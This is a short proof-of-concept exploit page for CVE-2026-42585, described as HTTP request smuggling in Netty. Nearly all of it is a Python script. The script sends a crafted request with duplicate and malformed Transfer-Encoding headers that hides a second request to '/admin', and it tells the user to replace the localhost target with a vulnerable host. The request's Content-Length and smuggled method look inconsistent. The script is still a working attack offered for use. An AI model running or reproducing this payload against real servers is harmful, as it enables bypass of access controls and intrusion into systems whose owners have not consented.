CVE-2026-42585 Netty HTTP请求走私漏洞

import socket # Exploit Title: Netty HTTP Request Smuggling (CVE-2026-42585) # Description: PoC demonstrating request smuggling via malformed Transfer-Encoding header def send_smuggling_request(host, port): # Constructing a malicious HTTP request with obfuscated Transfer-Encoding header # The space before the colon or specific casing might bypass strict checks but confuse Netty payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Length: 60\r\n" "Transfer-Encoding: chunked\r\n" # Standard header "Transfer-Encoding : chunked\r\n" # Malformed header with space (Obfuscation) "\r\n" "0\r\n" # Valid chunk ending for the first TE "\r\n" "GPOST /admin HTTP/1.1\r\n" # Smuggled request f"Host: {host}\r\n" "Content-Length: 10\r\n" "\r\n" "param=1\r\n" ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode('utf-8')) print(f"[+] Payload sent to {host}:{port}") response = s.recv(4096) print("[+] Response received:") print(response.decode('utf-8', errors='ignore')) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_host = "127.0.0.1" # Replace with vulnerable target target_port = 8080 # Replace with vulnerable port send_smuggling_request(target_host, target_port)